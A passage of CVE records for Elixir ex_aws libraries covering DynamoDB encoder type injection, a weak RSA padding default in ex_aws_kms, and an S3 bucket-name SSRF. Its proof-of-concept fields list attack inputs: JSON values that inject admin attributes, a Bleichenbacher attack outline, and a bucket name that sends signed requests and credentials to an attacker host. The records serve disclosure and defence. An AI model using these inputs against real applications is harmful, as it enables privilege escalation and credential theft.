                  "value": "1. An endpoint takes a JSON body `{\"filter\": \u003cany JSON value\u003e}` and passes the value to `ExAws.Dynamo.query(\"Products\", key_condition_expression: \"attr = :val\", expression_attribute_values: [val: user_value])`, which runs it through `Encoder.encode/2`.\n2. A benign value `{\"city\": \"Berlin\"}` is encoded as type `M`.\n3. The attacker sends `{\"N\": \"1000000\"}`. The `\"N\"` clause matches, the map is sent unchanged, and it reads back as the integer `1000000` instead of a map.\n4. `{\"B\": \"\u003cbase64\u003e\"}` stores attacker-chosen raw bytes, `{\"NULL\": \"true\"}` makes an `is_private` flag decode to `nil`, and `{\"M\": {\"role\": {\"S\": \"admin\"}, \"is_admin\": {\"BOOL\": true}}}` injects attributes the schema never sanctioned.\n5. `{\"N\": \"evil\"}` is stored as a malformed number, and a later scan by another user raises while decoding the item."
                }
              ],
              "value": "* An endpoint takes a JSON body {\"filter\": \u003cany JSON value\u003e} and passes the value to ExAws.Dynamo.query(\"Products\", key_condition_expression: \"attr = :val\", expression_attribute_values: [val: user_value]), which runs it through Encoder.encode/2.\n* A benign value {\"city\": \"Berlin\"} is encoded as type M.\n* The attacker sends {\"N\": \"1000000\"}. The \"N\" clause matches, the map is sent unchanged, and it reads back as the integer 1000000 instead of a map.\n* {\"B\": \"\u003cbase64\u003e\"} stores attacker-chosen raw bytes, {\"NULL\": \"true\"} makes an is_private flag decode to nil, and {\"M\": {\"role\": {\"S\": \"admin\"}, \"is_admin\": {\"BOOL\": true}}} injects attributes the schema never sanctioned.\n* {\"N\": \"evil\"} is stored as a malformed number, and a later scan by another user raises while decoding the item."
            }
          ],
          "x_technicalAnalysis": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003cstrong\u003e1. Structural idempotency guard.\u003c/strong\u003e \u003ccode\u003eExAws.Dynamo.Encoder.encode/2\u003c/code\u003e in \u003ccode\u003elib/ex_aws/dynamo/encoder.ex\u003c/code\u003e has one clause per type descriptor (\u003ccode\u003e\"S\"\u003c/code\u003e, \u003ccode\u003e\"N\"\u003c/code\u003e, \u003ccode\u003e\"B\"\u003c/code\u003e, \u003ccode\u003e\"BOOL\"\u003c/code\u003e, \u003ccode\u003e\"BS\"\u003c/code\u003e, \u003ccode\u003e\"L\"\u003c/code\u003e, \u003ccode\u003e\"M\"\u003c/code\u003e, \u003ccode\u003e\"NS\"\u003c/code\u003e, \u003ccode\u003e\"NULL\"\u003c/code\u003e, \u003ccode\u003e\"SS\"\u003c/code\u003e), each of the form \u003ccode\u003edef encode(%{\"S\" =\u0026gt; _} = val, _), do: val\u003c/code\u003e. A map that merely contains one of these keys is returned verbatim and skips the \u003ccode\u003eExAws.Dynamo.Encodable\u003c/code\u003e protocol.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. No validation.\u003c/strong\u003e The match is on the presence of the key alone: extra keys and arbitrary nested content survive, and nothing checks that the value is well formed for the claimed type. Nothing distinguishes a value this encoder produced from user data of the same shape, so a decoded JSON body \u003ccode\u003e%{\"S\" =\u0026gt; \"evil\"}\u003c/code\u003e, meant as a Map with a key named \u003ccode\u003e\"S\"\u003c/code\u003e, is sent as the string \u003ccode\u003e\"evil\"\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Consequences.\u003c/strong\u003e The user, not the application, decides the stored attribute\u0027s type, bytes and structure, and \u003ccode\u003edecode(encode(x))\u003c/code\u003e differs from \u003ccode\u003ex\u003c/code\u003e for any \u003ccode\u003ex\u003c/code\u003e shaped like the wire format. \u003ccode\u003eencode!/2\u003c/code\u003e and \u003ccode\u003eencode_root/2\u003c/code\u003e call \u003ccode\u003eEncodable.encode\u003c/code\u003e directly and skip the shortcut, so the same value encodes differently depending on the entry point.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "**1. Structural idempotency guard.** `ExAws.Dynamo.Encoder.encode/2` in `lib/ex_aws/dynamo/encoder.ex` has one clause per type descriptor (`\"S\"`, `\"N\"`, `\"B\"`, `\"BOOL\"`, `\"BS\"`, `\"L\"`, `\"M\"`, `\"NS\"`, `\"NULL\"`, `\"SS\"`), each of the form `def encode(%{\"S\" =\u003e _} = val, _), do: val`. A map that merely contains one of these keys is returned verbatim and skips the `ExAws.Dynamo.Encodable` protocol.\n\n**2. No validation.** The match is on the presence of the key alone: extra keys and arbitrary nested content survive, and nothing checks that the value is well formed for the claimed type. Nothing distinguishes a value this encoder produced from user data of the same shape, so a decoded JSON body `%{\"S\" =\u003e \"evil\"}`, meant as a Map with a key named `\"S\"`, is sent as the string `\"evil\"`.\n\n**3. Consequences.** The user, not the application, decides the stored attribute\u0027s type, bytes and structure, and `decode(encode(x))` differs from `x` for any `x` shaped like the wire format. `encode!/2` and `encode_root/2` call `Encodable.encode` directly and skip the shortcut, so the same value encodes differently depending on the entry point."
                }
              ],
              "value": "1. Structural idempotency guard. ExAws.Dynamo.Encoder.encode/2 in lib/ex_aws/dynamo/encoder.ex has one clause per type descriptor (\"S\", \"N\", \"B\", \"BOOL\", \"BS\", \"L\", \"M\", \"NS\", \"NULL\", \"SS\"), each of the form def encode(%{\"S\" =\u003e _} = val, _), do: val. A map that merely contains one of these keys is returned verbatim and skips the ExAws.Dynamo.Encodable protocol.\n\n2. No validation. The match is on the presence of the key alone: extra keys and arbitrary nested content survive, and nothing checks that the value is well formed for the claimed type. Nothing distinguishes a value this encoder produced from user data of the same shape, so a decoded JSON body %{\"S\" =\u003e \"evil\"}, meant as a Map with a key named \"S\", is sent as the string \"evil\".\n\n3. Consequences. The user, not the application, decides the stored attribute\u0027s type, bytes and structure, and decode(encode(x)) differs from x for any x shaped like the wire format. encode!/2 and encode_root/2 call Encodable.encode directly and skip the shortcut, so the same value encodes differently depending on the entry point."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-62270",
        "datePublished": "2026-11-24T12:59:00.667Z",
        "dateReserved": "2026-07-13T18:06:12.918Z",
        "dateUpdated": "2026-11-24T12:59:00.667Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-62271 (GCVE-0-2026-62271)

    Vulnerability from cvelistv5 – Published: 2026-11-24 12:22 – Updated: 2026-11-24 12:22
    VLAI
    Title
    ex_aws_kms defaults RSA key-material wrapping to PKCS#1 v1.5 in get_parameters_for_import/3
    Summary
    Use of RSA Algorithm without OAEP vulnerability in ex-aws ex_aws_kms (ExAws.KMS module) causes callers who import external key material to wrap their secret KMS key material with the deprecated PKCS#1 v1.5 padding scheme by default. This vulnerability is associated with program file lib/ex_aws/kms.ex and program routine ExAws.KMS.get_parameters_for_import/3. ExAws.KMS.get_parameters_for_import/3 defaults its wrapping_algorithm argument to "RSAES_PKCS1_V1_5". AWS KMS returns this value as the WrappingAlgorithm for the import operation, and it dictates the RSA padding scheme the caller uses to wrap (RSA-encrypt) their secret key material before calling ImportKeyMaterial. AWS KMS also supports the stronger RSAES_OAEP_SHA_1 and RSAES_OAEP_SHA_256 schemes. By defaulting to RSAES_PKCS1_V1_5, the library steers callers who do not explicitly override the argument toward the weakest of the three. PKCS#1 v1.5 encryption padding is susceptible to Bleichenbacher adaptive chosen-ciphertext (padding oracle) attacks, which can recover the wrapped plaintext without the private key given an oracle that reveals whether a decrypted value was validly padded. Because the unwrap happens inside AWS KMS, which does not expose a padding oracle, the practical exploitability is low and this is a defense-in-depth weakness. Callers can avoid the weak default by explicitly passing "RSAES_OAEP_SHA_256" (or "RSAES_OAEP_SHA_1") as the wrapping algorithm. This issue affects ex_aws_kms: from 2.1.0 before 2.7.0.
    CWE
    • CWE-780 - Use of RSA Algorithm without OAEP
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    ex-aws ex_aws_kms Affected: 2.1.0 , < 2.7.0 (semver)
        cpe:2.3:a:ex-aws:ex_aws_kms:*:*:*:*:*:*:*:*
    Create a notification for this product.
    ex-aws ex_aws_kms Affected: b66631f206ec207ab7016c0c4d9f1ec898b56e85 , < 2d7f308da3cf75ab0385c0aebdc84ce65f6754f7 (git)
        cpe:2.3:a:ex-aws:ex_aws_kms:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 12:22
    Show details on NVD website

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "collectionURL": "https://repo.hex.pm",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws_kms:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.KMS\u0027"
              ],
              "packageName": "ex_aws_kms",
              "packageURL": "pkg:hex/ex_aws_kms",
              "product": "ex_aws_kms",
              "programFiles": [
                "lib/ex_aws/kms.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.KMS\u0027:get_parameters_for_import/3"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws_kms",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "2.7.0",
                  "status": "affected",
                  "version": "2.1.0",
                  "versionType": "semver"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws_kms:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.KMS\u0027"
              ],
              "packageName": "ex-aws/ex_aws_kms",
              "packageURL": "pkg:github/ex-aws/ex_aws_kms",
              "product": "ex_aws_kms",
              "programFiles": [
                "lib/ex_aws/kms.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.KMS\u0027:get_parameters_for_import/3"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws_kms",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "2d7f308da3cf75ab0385c0aebdc84ce65f6754f7",
                  "status": "affected",
                  "version": "b66631f206ec207ab7016c0c4d9f1ec898b56e85",
                  "versionType": "git"
                }
              ]
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:ex-aws:ex_aws_kms:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "2.7.0",
                      "versionStartIncluding": "2.1.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "analyst",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Bernard Duggan"
            }
          ],
          "datePublic": "2026-11-24T12:22:04.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eUse of RSA Algorithm without OAEP vulnerability in ex-aws ex_aws_kms (\u003ccode\u003eExAws.KMS\u003c/code\u003e module) causes callers who import external key material to wrap their secret KMS key material with the deprecated \u003ccode\u003ePKCS#1\u003c/code\u003e v1.5 padding scheme by default.\u003c/p\u003e\n\u003cp\u003eThis vulnerability is associated with program file \u003ccode\u003elib/ex_aws/kms.ex\u003c/code\u003e and program routine \u003ccode\u003eExAws.KMS.get_parameters_for_import/3\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eExAws.KMS.get_parameters_for_import/3\u003c/code\u003e defaults its \u003ccode\u003ewrapping_algorithm\u003c/code\u003e argument to \u003ccode\u003e\"RSAES_PKCS1_V1_5\"\u003c/code\u003e. AWS KMS returns this value as the \u003ccode\u003eWrappingAlgorithm\u003c/code\u003e for the import operation, and it dictates the RSA padding scheme the caller uses to wrap (RSA-encrypt) their secret key material before calling \u003ccode\u003eImportKeyMaterial\u003c/code\u003e. AWS KMS also supports the stronger \u003ccode\u003eRSAES_OAEP_SHA_1\u003c/code\u003e and \u003ccode\u003eRSAES_OAEP_SHA_256\u003c/code\u003e schemes. By defaulting to \u003ccode\u003eRSAES_PKCS1_V1_5\u003c/code\u003e, the library steers callers who do not explicitly override the argument toward the weakest of the three. \u003ccode\u003ePKCS#1\u003c/code\u003e v1.5 encryption padding is susceptible to Bleichenbacher adaptive chosen-ciphertext (padding oracle) attacks, which can recover the wrapped plaintext without the private key given an oracle that reveals whether a decrypted value was validly padded. Because the unwrap happens inside AWS KMS, which does not expose a padding oracle, the practical exploitability is low and this is a defense-in-depth weakness. Callers can avoid the weak default by explicitly passing \u003ccode\u003e\"RSAES_OAEP_SHA_256\"\u003c/code\u003e (or \u003ccode\u003e\"RSAES_OAEP_SHA_1\"\u003c/code\u003e) as the wrapping algorithm.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_kms: from 2.1.0 before 2.7.0.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Use of RSA Algorithm without OAEP vulnerability in ex-aws ex_aws_kms (`ExAws.KMS` module) causes callers who import external key material to wrap their secret KMS key material with the deprecated `PKCS#1` v1.5 padding scheme by default.\n\nThis vulnerability is associated with program file `lib/ex_aws/kms.ex` and program routine `ExAws.KMS.get_parameters_for_import/3`.\n\n`ExAws.KMS.get_parameters_for_import/3` defaults its `wrapping_algorithm` argument to `\"RSAES_PKCS1_V1_5\"`. AWS KMS returns this value as the `WrappingAlgorithm` for the import operation, and it dictates the RSA padding scheme the caller uses to wrap (RSA-encrypt) their secret key material before calling `ImportKeyMaterial`. AWS KMS also supports the stronger `RSAES_OAEP_SHA_1` and `RSAES_OAEP_SHA_256` schemes. By defaulting to `RSAES_PKCS1_V1_5`, the library steers callers who do not explicitly override the argument toward the weakest of the three. `PKCS#1` v1.5 encryption padding is susceptible to Bleichenbacher adaptive chosen-ciphertext (padding oracle) attacks, which can recover the wrapped plaintext without the private key given an oracle that reveals whether a decrypted value was validly padded. Because the unwrap happens inside AWS KMS, which does not expose a padding oracle, the practical exploitability is low and this is a defense-in-depth weakness. Callers can avoid the weak default by explicitly passing `\"RSAES_OAEP_SHA_256\"` (or `\"RSAES_OAEP_SHA_1\"`) as the wrapping algorithm.\n\nThis issue affects ex_aws_kms: from 2.1.0 before 2.7.0."
                }
              ],
              "value": "Use of RSA Algorithm without OAEP vulnerability in ex-aws ex_aws_kms (ExAws.KMS module) causes callers who import external key material to wrap their secret KMS key material with the deprecated PKCS#1 v1.5 padding scheme by default.\n\nThis vulnerability is associated with program file lib/ex_aws/kms.ex and program routine ExAws.KMS.get_parameters_for_import/3.\n\nExAws.KMS.get_parameters_for_import/3 defaults its wrapping_algorithm argument to \"RSAES_PKCS1_V1_5\". AWS KMS returns this value as the WrappingAlgorithm for the import operation, and it dictates the RSA padding scheme the caller uses to wrap (RSA-encrypt) their secret key material before calling ImportKeyMaterial. AWS KMS also supports the stronger RSAES_OAEP_SHA_1 and RSAES_OAEP_SHA_256 schemes. By defaulting to RSAES_PKCS1_V1_5, the library steers callers who do not explicitly override the argument toward the weakest of the three. PKCS#1 v1.5 encryption padding is susceptible to Bleichenbacher adaptive chosen-ciphertext (padding oracle) attacks, which can recover the wrapped plaintext without the private key given an oracle that reveals whether a decrypted value was validly padded. Because the unwrap happens inside AWS KMS, which does not expose a padding oracle, the practical exploitability is low and this is a defense-in-depth weakness. Callers can avoid the weak default by explicitly passing \"RSAES_OAEP_SHA_256\" (or \"RSAES_OAEP_SHA_1\") as the wrapping algorithm.\n\nThis issue affects ex_aws_kms: from 2.1.0 before 2.7.0."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-463",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eThis is a cryptographic weak-default issue affecting anyone who uses \u003ccode\u003eExAws.KMS.get_parameters_for_import/3\u003c/code\u003e to import external key material and relies on the default wrapping algorithm. Such callers wrap sensitive KMS key material with deprecated PKCS#1 v1.5 padding rather than OAEP. Real-world exploitation requires a padding oracle against the RSA decryption, and the KMS-side unwrap does not expose one, so the concrete risk is a defense-in-depth weakness rather than a directly reachable attack.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "This is a cryptographic weak-default issue affecting anyone who uses `ExAws.KMS.get_parameters_for_import/3` to import external key material and relies on the default wrapping algorithm. Such callers wrap sensitive KMS key material with deprecated PKCS#1 v1.5 padding rather than OAEP. Real-world exploitation requires a padding oracle against the RSA decryption, and the KMS-side unwrap does not expose one, so the concrete risk is a defense-in-depth weakness rather than a directly reachable attack."
                    }
                  ],
                  "value": "This is a cryptographic weak-default issue affecting anyone who uses ExAws.KMS.get_parameters_for_import/3 to import external key material and relies on the default wrapping algorithm. Such callers wrap sensitive KMS key material with deprecated PKCS#1 v1.5 padding rather than OAEP. Real-world exploitation requires a padding oracle against the RSA decryption, and the KMS-side unwrap does not expose one, so the concrete risk is a defense-in-depth weakness rather than a directly reachable attack."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "HIGH",
                "attackRequirements": "PRESENT",
                "attackVector": "LOCAL",
                "baseScore": 2.1,
                "baseSeverity": "LOW",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "LOW",
                "vulnIntegrityImpact": "NONE",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-780",
                  "description": "CWE-780 Use of RSA Algorithm without OAEP",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T12:22:05.337Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws_kms/security/advisories/GHSA-wq7g-9pm7-5crv"
            },
            {
              "name": "EEF CNA record for CVE-2026-62271",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-62271.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-62271",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-62271"
            },
            {
              "name": "Introducing commit b66631f in ex-aws/ex_aws_kms",
              "tags": [
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws_kms/commit/b66631f206ec207ab7016c0c4d9f1ec898b56e85"
            },
            {
              "name": "Fix commit 2d7f308 in ex-aws/ex_aws_kms",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/ex-aws/ex_aws_kms/commit/2d7f308da3cf75ab0385c0aebdc84ce65f6754f7"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "ex_aws_kms defaults RSA key-material wrapping to PKCS#1 v1.5 in get_parameters_for_import/3",
          "workarounds": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eExplicitly pass \u003ccode\u003e\"RSAES_OAEP_SHA_256\"\u003c/code\u003e (or \u003ccode\u003e\"RSAES_OAEP_SHA_1\"\u003c/code\u003e) as the \u003ccode\u003ewrapping_algorithm\u003c/code\u003e argument to \u003ccode\u003eExAws.KMS.get_parameters_for_import/3\u003c/code\u003e instead of relying on the default, and wrap the key material with the corresponding OAEP padding scheme.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Explicitly pass `\"RSAES_OAEP_SHA_256\"` (or `\"RSAES_OAEP_SHA_1\"`) as the `wrapping_algorithm` argument to `ExAws.KMS.get_parameters_for_import/3` instead of relying on the default, and wrap the key material with the corresponding OAEP padding scheme."
                }
              ],
              "value": "Explicitly pass \"RSAES_OAEP_SHA_256\" (or \"RSAES_OAEP_SHA_1\") as the wrapping_algorithm argument to ExAws.KMS.get_parameters_for_import/3 instead of relying on the default, and wrap the key material with the corresponding OAEP padding scheme."
            }
          ],
          "x_proofOfConcept": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003col\u003e\n\u003cli\u003eCall \u003ccode\u003eExAws.KMS.get_parameters_for_import(\"alias/import-target\")\u003c/code\u003e without a wrapping algorithm and read \u003ccode\u003eop.data[\"WrappingAlgorithm\"]\u003c/code\u003e: it is \u003ccode\u003e\"RSAES_PKCS1_V1_5\"\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eWrap 32 bytes of secret key material with PKCS#1 v1.5 type-2 padding under an RSA public key, producing the ciphertext the attacker observes.\u003c/li\u003e\n\u003cli\u003eGive the attacker the public key, the ciphertext and a boolean oracle that reports whether a decrypted value is validly v1.5-padded.\u003c/li\u003e\n\u003cli\u003eRun the Bleichenbacher \u002798 attack: repeatedly multiply the ciphertext by \u003ccode\u003es^e mod n\u003c/code\u003e, query the oracle, and narrow the interval containing the plaintext until it converges.\u003c/li\u003e\n\u003cli\u003eThe recovered plaintext equals the wrapped key material, obtained without the private key.\u003c/li\u003e\n\u003c/ol\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "1. Call `ExAws.KMS.get_parameters_for_import(\"alias/import-target\")` without a wrapping algorithm and read `op.data[\"WrappingAlgorithm\"]`: it is `\"RSAES_PKCS1_V1_5\"`.\n2. Wrap 32 bytes of secret key material with PKCS#1 v1.5 type-2 padding under an RSA public key, producing the ciphertext the attacker observes.\n3. Give the attacker the public key, the ciphertext and a boolean oracle that reports whether a decrypted value is validly v1.5-padded.\n4. Run the Bleichenbacher \u002798 attack: repeatedly multiply the ciphertext by `s^e mod n`, query the oracle, and narrow the interval containing the plaintext until it converges.\n5. The recovered plaintext equals the wrapped key material, obtained without the private key."
                }
              ],
              "value": "* Call ExAws.KMS.get_parameters_for_import(\"alias/import-target\") without a wrapping algorithm and read op.data[\"WrappingAlgorithm\"]: it is \"RSAES_PKCS1_V1_5\".\n* Wrap 32 bytes of secret key material with PKCS#1 v1.5 type-2 padding under an RSA public key, producing the ciphertext the attacker observes.\n* Give the attacker the public key, the ciphertext and a boolean oracle that reports whether a decrypted value is validly v1.5-padded.\n* Run the Bleichenbacher \u002798 attack: repeatedly multiply the ciphertext by s^e mod n, query the oracle, and narrow the interval containing the plaintext until it converges.\n* The recovered plaintext equals the wrapped key material, obtained without the private key."
            }
          ],
          "x_technicalAnalysis": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003cstrong\u003e1. Weak default.\u003c/strong\u003e \u003ccode\u003eExAws.KMS.get_parameters_for_import/3\u003c/code\u003e in \u003ccode\u003elib/ex_aws/kms.ex\u003c/code\u003e defaults its \u003ccode\u003ewrapping_algorithm\u003c/code\u003e argument to \u003ccode\u003e\"RSAES_PKCS1_V1_5\"\u003c/code\u003e. AWS KMS also offers \u003ccode\u003eRSAES_OAEP_SHA_1\u003c/code\u003e and \u003ccode\u003eRSAES_OAEP_SHA_256\u003c/code\u003e, so callers who do not pass the argument get the weakest of the three.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Wrapping with that scheme.\u003c/strong\u003e KMS returns the requested value as the \u003ccode\u003eWrappingAlgorithm\u003c/code\u003e of the import operation, and it dictates the RSA padding the caller uses to encrypt their secret key material under the KMS-provided public key before calling \u003ccode\u003eImportKeyMaterial\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Exposure.\u003c/strong\u003e PKCS#1 v1.5 encryption padding is vulnerable to Bleichenbacher adaptive chosen-ciphertext attacks: an adversary who holds the wrapped ciphertext and can query a padding oracle (anything that reveals whether a decrypted value was validly v1.5-padded) recovers the plaintext without the private key. OAEP is not susceptible. The unwrap happens inside AWS KMS, which does not expose such an oracle, so this is a defense-in-depth weakness.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "**1. Weak default.** `ExAws.KMS.get_parameters_for_import/3` in `lib/ex_aws/kms.ex` defaults its `wrapping_algorithm` argument to `\"RSAES_PKCS1_V1_5\"`. AWS KMS also offers `RSAES_OAEP_SHA_1` and `RSAES_OAEP_SHA_256`, so callers who do not pass the argument get the weakest of the three.\n\n**2. Wrapping with that scheme.** KMS returns the requested value as the `WrappingAlgorithm` of the import operation, and it dictates the RSA padding the caller uses to encrypt their secret key material under the KMS-provided public key before calling `ImportKeyMaterial`.\n\n**3. Exposure.** PKCS#1 v1.5 encryption padding is vulnerable to Bleichenbacher adaptive chosen-ciphertext attacks: an adversary who holds the wrapped ciphertext and can query a padding oracle (anything that reveals whether a decrypted value was validly v1.5-padded) recovers the plaintext without the private key. OAEP is not susceptible. The unwrap happens inside AWS KMS, which does not expose such an oracle, so this is a defense-in-depth weakness."
                }
              ],
              "value": "1. Weak default. ExAws.KMS.get_parameters_for_import/3 in lib/ex_aws/kms.ex defaults its wrapping_algorithm argument to \"RSAES_PKCS1_V1_5\". AWS KMS also offers RSAES_OAEP_SHA_1 and RSAES_OAEP_SHA_256, so callers who do not pass the argument get the weakest of the three.\n\n2. Wrapping with that scheme. KMS returns the requested value as the WrappingAlgorithm of the import operation, and it dictates the RSA padding the caller uses to encrypt their secret key material under the KMS-provided public key before calling ImportKeyMaterial.\n\n3. Exposure. PKCS#1 v1.5 encryption padding is vulnerable to Bleichenbacher adaptive chosen-ciphertext attacks: an adversary who holds the wrapped ciphertext and can query a padding oracle (anything that reveals whether a decrypted value was validly v1.5-padded) recovers the plaintext without the private key. OAEP is not susceptible. The unwrap happens inside AWS KMS, which does not expose such an oracle, so this is a defense-in-depth weakness."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-62271",
        "datePublished": "2026-11-24T12:22:05.337Z",
        "dateReserved": "2026-07-13T18:06:12.918Z",
        "dateUpdated": "2026-11-24T12:22:05.337Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-120720 (GCVE-0-2026-120720)

    Vulnerability from cvelistv5 – Published: 2026-11-24 12:17 – Updated: 2026-11-24 12:17
    VLAI
    Title
    S3 bucket name controls the request host in ex_aws virtual-host requests
    Summary
    Server-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application's signed S3 requests to a host of their choice. With virtual_host: true, ExAws.Operation.S3.add_bucket_to_path/2 in lib/ex_aws/operation/s3.ex builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as attacker.example/x? turns the request URL into https://attacker.example/x?.s3.amazonaws.com/key, so the request is signed for and sent to attacker.example. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With bucket_as_host: true the bucket is the whole hostname, so any valid hostname redirects the request. This issue affects ex_aws: from 2.1.7 before 2.8.0.
    CWE
    • CWE-918 - Server-Side Request Forgery
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    ex-aws ex_aws Affected: 2.1.7 , < 2.8.0 (semver)
        cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*
    Create a notification for this product.
    ex-aws ex_aws Affected: 557d3438a7e739a25c1ccc1876a5b636793f20ba , < a878943be6def16ffbee6bb9e11d90db1dc904f8 (git)
        cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 12:17
    Show details on NVD website

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "collectionURL": "https://repo.hex.pm",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.Operation.S3\u0027"
              ],
              "packageName": "ex_aws",
              "packageURL": "pkg:hex/ex_aws",
              "product": "ex_aws",
              "programFiles": [
                "lib/ex_aws/operation/s3.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.Operation.S3\u0027:add_bucket_to_path/2"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "2.8.0",
                  "status": "affected",
                  "version": "2.1.7",
                  "versionType": "semver"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.Operation.S3\u0027"
              ],
